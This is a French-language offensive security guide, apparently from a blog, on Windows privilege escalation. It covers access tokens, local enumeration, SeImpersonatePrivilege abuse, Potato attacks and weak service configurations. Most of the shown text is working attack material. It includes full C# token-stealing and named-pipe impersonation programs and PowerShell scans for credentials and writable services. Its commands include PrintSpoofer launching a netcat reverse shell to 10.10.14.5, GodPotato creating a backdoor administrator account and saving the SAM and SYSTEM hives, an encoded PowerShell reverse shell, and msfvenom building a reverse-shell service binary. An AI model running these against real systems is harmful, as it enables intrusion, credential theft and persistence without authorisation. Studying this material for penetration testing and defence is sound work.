L'élévation de privilèges Windows représente le vecteur d'attaque le plus exploité en environnement Active Directory, permettant de transformer un accès utilisateur standard en contrôle SYSTEM ou Administrateur du domaine. Les techniques couvrent un spectre large : Potato attacks exploitant SeImpersonatePrivilege (de Hot Potato à GodPotato), manipulation de tokens d'accès, DLL hijacking sur des services vulnérables, contournement UAC, AlwaysInstallElevated, abus de tâches planifiées, named pipe impersonation avec PrintSpoofer, et extraction de credentials depuis SAM, LSASS et DPAPI. Le projet LOLBAS recense les binaires Windows légitimes détournables pour l'escalade. Ce guide exhaustif détaille chaque vecteur avec des exemples PowerShell et C# reproductibles en lab, les conditions de vulnérabilité précises, et les contre-mesures défensives pour durcir les postes de travail et serveurs Windows en environnement d'entreprise.
L'escalade de privilèges sous Windows constitue l'étape critique qui transforme un accès utilisateur standard — obtenu par phishing, exploitation d'un service exposé ou credentials compromis — en contrôle total du système avec les privilèges NT AUTHORITY\SYSTEM. Contrairement à Linux où la dichotomie root/non-root reste relativement simple, Windows implémente un modèle de sécurité multicouche basé sur les tokens d'accès, les privilèges granulaires, les SID, les ACL discrétionnaires et les niveaux d'intégrité. Cette architecture complexe multiplie les vecteurs d'attaque : token impersonation, services mal configurés, DLL hijacking, UAC bypass, tâches planifiées abusives, registre autorun, et toute une famille d'exploits "Potato" qui détournent les mécanismes d'impersonation natifs de Windows. En 2026, les systèmes Windows Server 2022/2025 et Windows 11 24H2 intègrent des défenses avancées comme Credential Guard, Windows Defender Application Control (WDAC) et les Attack Surface Reduction rules, mais ces protections ne sont pas systématiquement activées ni correctement configurées dans les environnements d'entreprise. La surface d'attaque reste considérable pour un attaquant patient qui maîtrise les subtilités du modèle de sécurité Windows. Cet article détaille les techniques d'escalade les plus efficaces en 2026, des classiques misconfigurations de services aux dernières recherches sur GodPotato et les contournements modernes, avec les commandes exactes, le code source des exploits et les stratégies de remédiation associées.
Exploitation avancée
Modèle de Sécurité Windows : Tokens, Privilèges et Niveaux d'Intégrité
Chaque processus Windows s'exécute avec un token d'accès qui encapsule l'identité complète du contexte de sécurité. Ce token contient le SID principal de l'utilisateur, la liste des groupes auxquels il appartient, les privilèges assignés (activés ou désactivés), le niveau d'intégrité et le type de session. Deux types de tokens existent : les tokens primaires (assignés au processus lors de sa création) et les tokens d'impersonation (utilisés par les threads pour agir temporairement au nom d'un autre utilisateur). Cette distinction est fondamentale pour comprendre les attaques de type Potato et named pipe impersonation, car c'est le token d'impersonation qui est capturé lors de ces attaques avant d'être converti en token primaire pour créer un processus enfant.
Structure interne d'un Token et Security Reference Monitor
Le kernel Windows maintient une structure TOKEN dans l'espace noyau qui référence toutes les informations de sécurité. Cette structure est opaque depuis le userland — on n'y accède qu'à travers les API documentées comme GetTokenInformation, AdjustTokenPrivileges ou DuplicateTokenEx. Lorsqu'un processus tente d'accéder à une ressource, le Security Reference Monitor (SRM) compare le token du processus appelant avec le Security Descriptor de la ressource cible. Le Security Descriptor contient un DACL (Discretionary Access Control List) qui spécifie quels SID ont accès et avec quels droits, ainsi qu'un SACL (System Access Control List) utilisé pour l'audit. Ce mécanisme de vérification s'applique à chaque opération sans exception : ouverture de fichier, lecture de clé de registre, communication inter-processus, accès réseau, modification de service. La granularité de ce modèle — avec des dizaines de droits d'accès spécifiques par type d'objet — crée une complexité qui génère inévitablement des misconfigurations exploitables.
# Examiner le token du processus courant avec tous les détails
whoami /all
# Lister les privilèges avec leur état (Enabled/Disabled)
whoami /priv
# Détail complet via PowerShell - inclut les claims et les groupes
[System.Security.Principal.WindowsIdentity]::GetCurrent() | Format-List *
# Vérifier le niveau d'intégrité du processus courant
whoami /groups | findstr "Label"
# Énumérer les tokens accessibles sur le système (nécessite SeDebugPrivilege)
# Via PowerShell avec Get-NtToken du module NtObjectManager
Import-Module NtObjectManager
Get-NtToken -Primary -ProcessId (Get-Process lsass).Id
# Lister tous les processus avec leur niveau d'intégrité
Get-Process | ForEach-Object {
try {
$token = Get-NtToken -Primary -ProcessId $_.Id
[PSCustomObject]@{
PID = $_.Id
Name = $_.ProcessName
User = $token.User.Sid.Name
Integrity = $token.IntegrityLevel
SessionId = $token.SessionId
}
} catch {}
} | Format-Table -AutoSize
# Vérifier les privilèges d'un processus spécifique
Get-NtToken -Primary -ProcessId (Get-Process winlogon).Id | Select-Object -ExpandProperty Privileges
Niveaux d'intégrité et Mandatory Integrity Control
Windows implémente cinq niveaux d'intégrité principaux organisés hiérarchiquement : Untrusted (S-1-16-0), Low (S-1-16-4096) utilisé par les processus sandboxés comme les onglets de navigateur, Medium (S-1-16-8192) qui est le niveau par défaut pour les utilisateurs standard et les administrateurs filtrés par UAC, High (S-1-16-12288) pour les processus administrateurs après élévation UAC, et System (S-1-16-16384) pour les services système et SYSTEM. Le Mandatory Integrity Control (MIC) ajoute une couche de protection orthogonale aux DACL : il empêche un processus de niveau inférieur d'écrire dans les objets de niveau supérieur (no-write-up), indépendamment des permissions DACL. Concrètement, même si un DACL accorde le droit Write à Everyone sur un fichier, un processus Low integrity ne pourra pas y écrire si le fichier possède un label Medium ou supérieur.
Exploitation avancée
Cette protection MIC ne bloque cependant pas la lecture vers le haut par défaut (la politique est no-write-up, pas no-read-up). Un processus Medium peut donc lire les fichiers des processus High si les DACL l'autorisent. Cette asymétrie est importante : elle permet à un attaquant en Medium integrity de collecter des informations sur les processus élevés sans pouvoir les modifier directement. La compréhension de ces mécanismes détermine quelles techniques sont applicables à chaque niveau d'intégrité et quelles transitions sont possibles.
Point fondamental : L'escalade de privilèges Windows ne signifie pas toujours passer directement de Medium à SYSTEM. Elle peut impliquer plusieurs transitions : l'activation de privilèges désactivés dans le token courant (privilèges présents mais dormants), le passage de Low à Medium (sandbox escape depuis un navigateur ou un viewer PDF), le contournement de l'UAC (Medium vers High sans popup), ou l'impersonation d'un token SYSTEM via named pipes ou COM. Chaque étape utilise des vecteurs complètement différents et la stratégie d'attaque doit s'adapter au contexte exact du token actuel. Un auditeur qui ne vérifie pas le niveau d'intégrité et les privilèges disponibles avant de choisir sa technique perd du temps sur des approches inapplicables.
Énumération Initiale : Cartographier la Surface d'Attaque
Avant toute tentative d'escalade, une énumération méthodique permet d'identifier les vecteurs exploitables. Cette phase de reconnaissance locale collecte les informations sur le système d'exploitation, son niveau de patch, les services installés et leurs configurations, les tâches planifiées, les logiciels tiers, les credentials en cache, les misconfigurations de permissions sur les fichiers et le registre, et les connexions réseau actives. L'objectif est d'établir une cartographie complète des chemins possibles vers SYSTEM en quelques minutes, avant de se concentrer sur les vecteurs les plus prometteurs.
L'énumération doit être systématique et couvrir cinq domaines principaux : l'environnement système (version OS, patches, architecture), les comptes et privilèges (utilisateurs, groupes, tokens), les services et processus (configurations, permissions, binaires), le stockage de données sensibles (credentials, historiques, fichiers de configuration) et la surface réseau (connexions, partages, ports en écoute). Chaque domaine peut révéler des vecteurs d'escalade distincts et c'est leur combinaison qui permet souvent de construire une chaîne d'exploitation complète.
# Informations système de base et niveau de patch
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix"
# Architecture et version exacte pour cibler les exploits kernel
[Environment]::Is64BitOperatingSystem
[Environment]::OSVersion.Version
(Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion").DisplayVersion
# Utilisateurs et groupes locaux - identifier les comptes intéressants
net user
net localgroup administrators
Get-LocalGroupMember -Group "Administrators"
Get-LocalGroupMember -Group "Backup Operators"
Get-LocalGroupMember -Group "Remote Desktop Users"
# Services en cours d'exécution avec leur compte d'exécution
Get-CimInstance Win32_Service | Where-Object {$_.State -eq "Running"} |
Select-Object Name, DisplayName, StartName, PathName, StartMode |
Format-Table -AutoSize
# Programmes installés (vecteur DLL hijacking et vulnérabilités connues)
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* |
Select-Object DisplayName, DisplayVersion, Publisher, InstallDate |
Sort-Object InstallDate -Descending | Format-Table -AutoSize
# Recherche de fichiers contenant des credentials en clair
Get-ChildItem -Path C:\ -Include *.txt,*.ini,*.cfg,*.config,*.xml,*.json,*.ps1,*.bat -File -Recurse -ErrorAction SilentlyContinue |
Select-String -Pattern "password|passwd|pwd|credential|secret|apikey|connectionstring" -SimpleMatch |
Select-Object Path, LineNumber, Line | Format-Table -AutoSize
# Historique PowerShell - souvent contient des mots de passe tapés
Get-Content (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue
# Connexions réseau actives et ports en écoute
netstat -ano | findstr "LISTENING\|ESTABLISHED"
# Tâches planifiées détaillées
schtasks /query /fo LIST /v | findstr /i "Task To Run\|Run As User\|Schedule Type\|Next Run"
# Vérifier les antivirus et EDR actifs (adapter la stratégie)
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct -ErrorAction SilentlyContinue |
Select-Object displayName, productState
Get-Process | Where-Object { $_.ProcessName -match "MsMpEng|CrowdStrike|Sentinel|Carbon|Cylance|Sophos" }
# Vérifier si Windows Defender est actif et ses exclusions
Get-MpPreference | Select-Object DisableRealtimeMonitoring, ExclusionPath, ExclusionExtension
Les outils automatisés comme WinPEAS, PowerUp (PowerSploit), SharpUp, Seatbelt et PrivescCheck accélèrent considérablement cette phase d'énumération. WinPEAS en particulier produit un rapport exhaustif couvrant des centaines de vecteurs potentiels en quelques secondes, avec un code couleur qui met en évidence les findings critiques. L'approche recommandée combine un scan automatisé initial suivi d'une vérification manuelle des résultats les plus prometteurs. Les outils automatisés peuvent générer des faux positifs, et certaines configurations subtiles nécessitent une analyse humaine pour être correctement évaluées. Pour plus de détails sur la reconnaissance réseau préalable qui précède l'obtention d'un shell, consultez notre guide sur l'énumération réseau avec Nmap.
Exploitation avancée
# Exécution de WinPEAS (version .NET - la plus complète)
.\winPEASany.exe quiet servicesinfo applicationsinfo windowscreds userinfo
# PowerUp - Invoke-AllChecks (PowerSploit)
Import-Module .\PowerUp.ps1
Invoke-AllChecks | Out-File -FilePath C:\temp\powerup-results.txt
# SharpUp - équivalent compilé de PowerUp (évite AMSI sur les scripts)
.\SharpUp.exe audit
# Seatbelt - collecte d'informations ciblée par catégorie
.\Seatbelt.exe -group=all -full -outputfile=C:\temp\seatbelt.json
# PrivescCheck - module PowerShell moderne et maintenu activement
Import-Module .\PrivescCheck.ps1
Invoke-PrivescCheck -Extended -Report PrivescCheck_Results -Format HTML
Manipulation de Tokens, SeImpersonatePrivilege et Named Pipe Impersonation
La manipulation de tokens constitue le fondement théorique et pratique de nombreuses techniques d'escalade sous Windows. Lorsqu'un attaquant dispose du privilège SeImpersonatePrivilege ou SeAssignPrimaryTokenPrivilege, il peut créer des processus dans le contexte de sécurité d'un autre utilisateur, y compris SYSTEM. Ce privilège est attribué par défaut aux comptes de service (LOCAL SERVICE, NETWORK SERVICE), aux comptes IIS (ApplicationPoolIdentity), aux comptes SQL Server, aux comptes de service managés (MSA/gMSA) et à tout compte configuré pour exécuter un service Windows. En environnement d'entreprise, on retrouve fréquemment ce privilège sur les serveurs web, les serveurs de bases de données, les serveurs d'applications et les serveurs de fichiers.
Le mécanisme d'impersonation Windows est conçu pour permettre aux serveurs de traiter les requêtes des clients avec les permissions du client plutôt qu'avec les leurs. Par exemple, un serveur de fichiers SMB impersonne chaque client qui se connecte pour vérifier les permissions d'accès aux fichiers demandés. Ce mécanisme légitime devient un vecteur d'attaque lorsqu'un attaquant peut forcer un processus privilégié (SYSTEM) à se connecter à une ressource qu'il contrôle — typiquement un named pipe — puis capturer le token d'impersonation résultant.
Token Stealing avec SeDebugPrivilege
Si l'attaquant dispose de SeDebugPrivilege (typiquement activé pour les administrateurs locaux après élévation UAC), il peut ouvrir un handle vers n'importe quel processus du système, dupliquer son token et créer un nouveau processus avec ce token. Cette technique est directe mais nécessite un niveau de privilège déjà élevé — elle sert principalement à passer de High integrity (admin) à SYSTEM sans passer par un service.
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public class TokenStealer
{
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess,
IntPtr lpTokenAttributes, int ImpersonationLevel, int TokenType, out IntPtr phNewToken);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
static extern bool CreateProcessWithTokenW(IntPtr hToken, uint dwLogonFlags,
string lpApplicationName, string lpCommandLine, uint dwCreationFlags,
IntPtr lpEnvironment, string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct STARTUPINFO
{
public int cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX, dwY, dwXSize, dwYSize;
public uint dwXCountChars, dwYCountChars, dwFillAttribute, dwFlags;
public short wShowWindow, cbReserved2;
public IntPtr lpReserved2, hStdInput, hStdOutput, hStdError;
}
[StructLayout(LayoutKind.Sequential)]
struct PROCESS_INFORMATION
{
public IntPtr hProcess, hThread;
public uint dwProcessId, dwThreadId;
}
const uint TOKEN_ALL_ACCESS = 0xF01FF;
const uint MAXIMUM_ALLOWED = 0x02000000;
const uint PROCESS_QUERY_LIMITED_INFORMATION = 0x1000;
public static void StealFromProcess(int targetPid, string command = "cmd.exe")
{
// Ouvrir le processus cible
IntPtr hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, false, targetPid);
if (hProcess == IntPtr.Zero)
{
Console.WriteLine($"[-] OpenProcess échoué : {Marshal.GetLastWin32Error()}");
return;
}
// Obtenir le token du processus
IntPtr hToken;
if (!OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, out hToken))
{
Console.WriteLine($"[-] OpenProcessToken échoué : {Marshal.GetLastWin32Error()}");
return;
}
// Dupliquer le token en token primaire
IntPtr hNewToken;
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, IntPtr.Zero, 2, 1, out hNewToken))
{
Console.WriteLine($"[-] DuplicateTokenEx échoué : {Marshal.GetLastWin32Error()}");
return;
}
// Créer un processus avec le token volé
STARTUPINFO si = new STARTUPINFO();
si.cb = Marshal.SizeOf(si);
PROCESS_INFORMATION pi;
if (CreateProcessWithTokenW(hNewToken, 0, null, command,
0x00000010, IntPtr.Zero, null, ref si, out pi))
{
Console.WriteLine($"[+] Processus créé avec PID: {pi.dwProcessId}");
Console.WriteLine($"[+] Token volé depuis PID: {targetPid}");
}
else
{
Console.WriteLine($"[-] CreateProcessWithTokenW échoué : {Marshal.GetLastWin32Error()}");
}
}
public static void Main(string[] args)
{
// Cibler winlogon.exe (toujours SYSTEM)
var winlogon = Process.GetProcessesByName("winlogon")[0];
Console.WriteLine($"[*] Cible : winlogon.exe (PID {winlogon.Id})");
StealFromProcess(winlogon.Id);
}
}
Impersonation via Named Pipes : le mécanisme fondamental
Les named pipes Windows constituent un mécanisme de communication inter-processus (IPC) bidirectionnel. Le serveur du pipe peut appeler ImpersonateNamedPipeClient() après qu'un client s'est connecté, ce qui lui permet d'exécuter du code dans le contexte de sécurité du client. Si un processus SYSTEM se connecte à un named pipe contrôlé par l'attaquant, ce dernier obtient un token d'impersonation SYSTEM. Le token d'impersonation peut ensuite être dupliqué en token primaire via DuplicateTokenEx, puis utilisé avec CreateProcessWithTokenW pour lancer un processus enfant en tant que SYSTEM.
Manipulation de privilèges
La difficulté réside dans le fait de forcer un processus SYSTEM à se connecter au pipe contrôlé. Plusieurs techniques existent pour ce "triggering" : les attaques Potato exploitent COM/DCOM/RPC pour forcer la connexion, PrintSpoofer utilise le service Print Spooler, EfsPotato utilise le service EFS (Encrypting File System), et des techniques custom peuvent exploiter tout service qui se connecte à des pipes dont le nom est prévisible ou configurable.
using System;
using System.IO.Pipes;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Threading;
public class NamedPipeImpersonation
{
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool RevertToSelf();
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess,
IntPtr lpTokenAttributes, int ImpersonationLevel, int TokenType, out IntPtr phNewToken);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
static extern bool CreateProcessWithTokenW(IntPtr hToken, uint dwLogonFlags,
string lpApplicationName, string lpCommandLine, uint dwCreationFlags,
IntPtr lpEnvironment, string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool OpenThreadToken(IntPtr ThreadHandle, uint DesiredAccess,
bool OpenAsSelf, out IntPtr TokenHandle);
[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentThread();
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct STARTUPINFO
{
public int cb; public string lpReserved; public string lpDesktop;
public string lpTitle; public uint dwX, dwY, dwXSize, dwYSize;
public uint dwXCountChars, dwYCountChars, dwFillAttribute, dwFlags;
public short wShowWindow, cbReserved2;
public IntPtr lpReserved2, hStdInput, hStdOutput, hStdError;
}
[StructLayout(LayoutKind.Sequential)]
struct PROCESS_INFORMATION
{
public IntPtr hProcess, hThread;
public uint dwProcessId, dwThreadId;
}
const uint TOKEN_ALL_ACCESS = 0xF01FF;
public static void RunPipeServer(string pipeName, string command)
{
Console.WriteLine($"[*] Création du named pipe: \\\\.\\pipe\\{pipeName}");
var pipeSecurity = new PipeSecurity();
pipeSecurity.AddAccessRule(new PipeAccessRule(
new SecurityIdentifier(WellKnownSidType.WorldSid, null),
PipeAccessRights.ReadWrite,
System.Security.AccessControl.AccessControlType.Allow));
using (var pipeServer = new NamedPipeServerStream(pipeName,
PipeDirection.InOut, 1, PipeTransmissionMode.Byte,
PipeOptions.None, 1024, 1024, pipeSecurity))
{
Console.WriteLine("[*] En attente de connexion d'un processus privilégié...");
pipeServer.WaitForConnection();
Console.WriteLine("[+] Client connecté !");
// Impersonation du client connecté
pipeServer.RunAsClient(() =>
{
var identity = WindowsIdentity.GetCurrent();
Console.WriteLine($"[+] Impersonation réussie : {identity.Name}");
Console.WriteLine($"[+] SID : {identity.User}");
Console.WriteLine($"[+] IsSystem : {identity.IsSystem}");
if (identity.IsSystem || identity.Name.Contains("SYSTEM"))
{
// Capturer le token d'impersonation
IntPtr threadToken;
OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, out threadToken);
// Convertir en token primaire
IntPtr primaryToken;
DuplicateTokenEx(threadToken, TOKEN_ALL_ACCESS, IntPtr.Zero, 2, 1, out primaryToken);
// Créer un processus SYSTEM
STARTUPINFO si = new STARTUPINFO { cb = Marshal.SizeOf(typeof(STARTUPINFO)) };
PROCESS_INFORMATION pi;
CreateProcessWithTokenW(primaryToken, 0, null, command,
0x00000010, IntPtr.Zero, null, ref si, out pi);
Console.WriteLine($"[+] Processus SYSTEM lancé ! PID: {pi.dwProcessId}");
}
});
}
}
}
Privilèges critiques pour l'escalade : SeImpersonatePrivilege permet d'impersonner un token obtenu via named pipe ou COM (base de toutes les attaques Potato). SeAssignPrimaryTokenPrivilege permet de créer des processus avec un token primaire arbitraire. SeDebugPrivilege permet d'ouvrir n'importe quel processus et dupliquer son token. SeBackupPrivilege permet de lire n'importe quel fichier du système (extraction SAM/SYSTEM/NTDS.dit). SeRestorePrivilege permet d'écrire n'importe quel fichier (DLL hijacking dans System32). SeTakeOwnershipPrivilege permet de devenir propriétaire de tout objet sécurisable puis modifier ses ACL. SeLoadDriverPrivilege permet de charger des drivers kernel (BYOVD).
Exploitation kernel
Attaques Potato : De Hot Potato à GodPotato et CoercedPotato
La famille d'exploits "Potato" représente l'évolution la plus marquante des techniques d'escalade de privilèges Windows de la dernière décennie. Ces attaques exploitent toutes le même principe fondamental : forcer un processus SYSTEM à s'authentifier (via NTLM ou Kerberos) auprès d'une ressource contrôlée par l'attaquant, capturer le token d'authentification, puis l'utiliser pour créer un processus en tant que SYSTEM. Le prérequis commun est SeImpersonatePrivilege, qui permet de manipuler les tokens capturés. L'évolution des Potato reflète le jeu constant entre les corrections de Microsoft et la créativité des chercheurs en sécurité qui trouvent de nouveaux chemins pour forcer l'authentification SYSTEM.
Évolution chronologique et comparaison des Potato
| Exploit | Année | Mécanisme de coercion | Prérequis spécifiques | Statut 2026 |
|---|---|---|---|---|
| Hot Potato | 2016 | NBNS spoofing + WPAD + NTLM relay local | SeImpersonatePrivilege | Corrigé (MS16-075) |
| Rotten Potato | 2016 | DCOM activation + BITS NTLM relay vers RPC local | SeImpersonatePrivilege + BITS | Partiellement corrigé |
| Juicy Potato | 2018 | DCOM activation avec CLSID arbitraire | SeImpersonatePrivilege + CLSID valide | Corrigé sur Server 2019+ |
| Rogue Potato | 2020 | Fake OXID resolver + impersonation | SeImpersonatePrivilege + machine distante pour redirect | Partiellement corrigé |
| Sweet Potato | 2020 | Collection : WinRM, BITS, DCOM, SpoolSS | SeImpersonatePrivilege + service disponible | Variable selon la technique |
| PrintSpoofer | 2020 | Named pipe impersonation via SpoolSS RPC | SeImpersonatePrivilege + Spooler actif | Fonctionne (service dependent) |
| EfsPotato | 2021 | EFS RPC (EfsRpcOpenFileRaw) - PetitPotam local | SeImpersonatePrivilege | Partiellement corrigé |
| GodPotato | 2022 | Manipulation directe RPCSS via DCOM unmarshalling | SeImpersonatePrivilege uniquement | Fonctionne universellement |
| CoercedPotato | 2023 | Multiple méthodes de coercion combinées automatiquement | SeImpersonatePrivilege | Fonctionne universellement |
PrintSpoofer : exploitation du Print Spooler
PrintSpoofer exploite le fait que le service Print Spooler (SpoolSS) se connecte à des named pipes lorsqu'un client demande une notification de changement d'imprimante via l'API RPC RpcRemoteFindFirstPrinterChangeNotificationEx. L'attaquant crée un named pipe avec un nom au format \\.\pipe\spoolss suivi d'un chemin arbitraire, puis utilise l'API SpoolSS pour forcer le service à se connecter. Comme SpoolSS s'exécute en tant que SYSTEM, le token obtenu par impersonation est un token SYSTEM complet avec tous les privilèges. La limitation principale est la nécessité que le service Print Spooler soit actif — Microsoft recommande désormais sa désactivation sur les serveurs qui n'en ont pas besoin, en particulier sur les Domain Controllers après PrintNightmare.
REM Vérifier que le service Print Spooler est actif
sc query Spooler
REM PrintSpoofer - exécution interactive en SYSTEM
PrintSpoofer64.exe -i -c "cmd.exe"
PrintSpoofer64.exe -i -c "powershell.exe -ep bypass"
REM Exécution d'une commande spécifique (non interactive)
PrintSpoofer64.exe -c "cmd /c whoami > C:\temp\proof.txt"
REM Avec redirection vers un reverse shell
PrintSpoofer64.exe -c "C:\temp\nc.exe 10.10.14.5 4444 -e cmd.exe"
REM Version pour pipe name personnalisé (évasion de détection)
PrintSpoofer64.exe -p "CustomPipeName" -i -c "cmd.exe"
GodPotato : la technique universelle sans dépendance de service
GodPotato représente l'avancée la plus significative de la famille Potato depuis Juicy Potato. Développé par BeichenDream, cet exploit manipule directement le service RPCSS (RPC Subsystem) — un service fondamental de Windows qui ne peut être ni désactivé ni arrêté. La technique exploite le processus d'unmarshalling DCOM pour forcer une authentification SYSTEM vers un pipe contrôlé par l'attaquant, sans dépendre d'un service optionnel comme le Print Spooler ou BITS. Cette universalité rend GodPotato efficace sur toutes les versions de Windows de 2012 R2 à Server 2022 et de Windows 8.1 à Windows 11 24H2, indépendamment du niveau de patch appliqué pour les techniques précédentes.
Exploitation avancée
REM GodPotato - vérification simple (whoami en SYSTEM)
GodPotato-NET4.exe -cmd "cmd /c whoami"
REM Exécution de commandes administratives
GodPotato-NET4.exe -cmd "cmd /c net user hacker P@ssw0rd2026! /add"
GodPotato-NET4.exe -cmd "cmd /c net localgroup administrators hacker /add"
REM Reverse shell PowerShell encodé base64
GodPotato-NET4.exe -cmd "cmd /c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0..."
REM Dump des credentials (SAM/SYSTEM)
GodPotato-NET4.exe -cmd "cmd /c reg save HKLM\SAM C:\Windows\Temp\s"
GodPotato-NET4.exe -cmd "cmd /c reg save HKLM\SYSTEM C:\Windows\Temp\y"
REM Version .NET 2.0 pour les anciens systèmes (Server 2012 R2)
GodPotato-NET2.exe -cmd "cmd /c whoami"
REM CoercedPotato - alternative avec tentative de multiples méthodes
CoercedPotato.exe --exploit EfsRpc -c "cmd /c whoami"
CoercedPotato.exe --exploit PrintSpooler -c "cmd /c whoami"
CoercedPotato.exe --exploit MS-RPRN -c "cmd /c whoami"
Pour comprendre les mécanismes d'authentification Windows sous-jacents exploités par ces attaques, notre article sur NTLM et Kerberos en profondeur fournit le contexte théorique nécessaire.
Services Windows Mal Configurés et Unquoted Service Paths
Les services Windows constituent l'un des vecteurs d'escalade les plus fréquents en environnement d'entreprise. Un service qui s'exécute avec des privilèges élevés (LocalSystem, LocalService, un compte admin) mais dont le binaire, le répertoire ou les permissions de configuration sont accessibles à un utilisateur standard offre un chemin direct vers l'escalade. Trois catégories principales de misconfiguration existent : les permissions faibles sur le binaire du service (remplacement direct), les chemins non quotés — unquoted service paths — qui permettent l'injection d'un binaire intermédiaire, et les permissions de modification de la configuration du service lui-même (changement du binpath). En environnement réel, ces vulnérabilités sont omniprésentes dans les applications tierces qui ne suivent pas les bonnes pratiques d'installation Windows.
Permissions faibles sur les binaires de service
Si l'utilisateur courant peut écrire dans le répertoire du binaire d'un service ou remplacer le binaire lui-même, il peut substituer un exécutable malveillant qui sera lancé avec les privilèges du compte de service au prochain redémarrage. Les installeurs qui configurent des permissions permissives sur leur répertoire d'installation (accordant Write ou Modify à BUILTIN\Users ou Authenticated Users) sont les cibles principales de cette technique.
# Identifier les services avec des binaires inscriptibles par l'utilisateur courant
Get-CimInstance Win32_Service | ForEach-Object {
$path = $_.PathName -replace '"', '' -replace '\s+/.*', '' -replace '\s+-.*', ''
if ($path -and (Test-Path $path)) {
$acl = Get-Acl $path -ErrorAction SilentlyContinue
if ($acl) {
foreach ($access in $acl.Access) {
if ($access.FileSystemRights -match "Write|FullControl|Modify" -and
$access.IdentityReference -match "Users|Everyone|BUILTIN\\Users|Authenticated Users") {
[PSCustomObject]@{
Service = $_.Name
Path = $path
StartMode = $_.StartMode
RunAs = $_.StartName
Identity = $access.IdentityReference
Rights = $access.FileSystemRights
}
}
}
}
}
}
# Vérifier aussi les répertoires parents (inscriptibles = DLL hijacking possible)
Get-CimInstance Win32_Service | ForEach-Object {
$path = $_.PathName -replace '"', '' -replace '\s+/.*', '' -replace '\s+-.*', ''
if ($path) {
$dir = Split-Path $path -Parent
if ($dir -and (Test-Path $dir)) {
$acl = Get-Acl $dir -ErrorAction SilentlyContinue
if ($acl) {
foreach ($access in $acl.Access) {
if ($access.FileSystemRights -match "Write|FullControl|Modify|CreateFiles" -and
$access.IdentityReference -match "Users|Everyone|Authenticated") {
[PSCustomObject]@{
Service = $_.Name
Directory = $dir
RunAs = $_.StartName
Identity = $access.IdentityReference
Rights = $access.FileSystemRights
Vector = "DLL Hijacking dans répertoire service"
}
}
}
}
}
}
}
# Vérification avec accesschk.exe (Sysinternals) - plus rapide pour de gros volumes
accesschk.exe /accepteula -wvu "C:\Program Files\*\*.exe"
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
Unquoted Service Paths : exploitation de la résolution de chemin
Lorsqu'un chemin de service contient des espaces et n'est pas entouré de guillemets dans le registre, Windows applique un algorithme de résolution séquentielle. Pour un service enregistré avec le chemin C:\Program Files\Vuln App\Service\binary.exe, Windows tente de localiser l'exécutable dans l'ordre suivant : d'abord C:\Program.exe, puis C:\Program Files\Vuln.exe, puis C:\Program Files\Vuln App\Service\binary.exe. À chaque tentative, si le fichier existe, il est exécuté. Si l'attaquant peut écrire dans un des répertoires intermédiaires, il place un exécutable portant le nom approprié, et celui-ci sera exécuté avec les privilèges du service lors du prochain démarrage.
Manipulation de privilèges
# Trouver tous les services avec des chemins non quotés contenant des espaces
Get-CimInstance Win32_Service | Where-Object {
$_.PathName -and
$_.PathName -notmatch '^"' -and
$_.PathName -match '.+\s.+\.exe' -and
$_.PathName -notmatch '^C:\\Windows\\'
} | Select-Object Name, PathName, StartName, StartMode | Format-Table -AutoSize
# Version CMD (classique en pentest)
wmic service get name,displayname,pathname,startmode 2>nul | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """"
# Pour chaque service vulnérable, vérifier les permissions d'écriture
# sur les répertoires intermédiaires
function Test-UnquotedPath {
param([string]$ServicePath)
$parts = $ServicePath -replace '"', '' -split '\\'
$testPath = ""
for ($i = 0; $i -lt $parts.Count - 1; $i++) {
$testPath += $parts[$i] + "\"
if ($parts[$i] -match '\s') {
$parentDir = $testPath.TrimEnd('\')
$parentDir = $parentDir.Substring(0, $parentDir.LastIndexOf('\'))
if (Test-Path $parentDir) {
$acl = Get-Acl $parentDir
$writable = $acl.Access | Where-Object {
$_.FileSystemRights -match "Write|Modify|FullControl" -and
$_.IdentityReference -match "Users|Everyone|Authenticated"
}
if ($writable) {
Write-Host "[VULN] $parentDir est inscriptible" -ForegroundColor Red
Write-Host " Créer : $($parts[0..($i)] -join '\' -replace '\s.*', '.exe')"
}
}
}
}
}
# Exploitation : créer un service wrapper malveillant
# Compiler ou utiliser msfvenom :
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe-service -o Vuln.exe
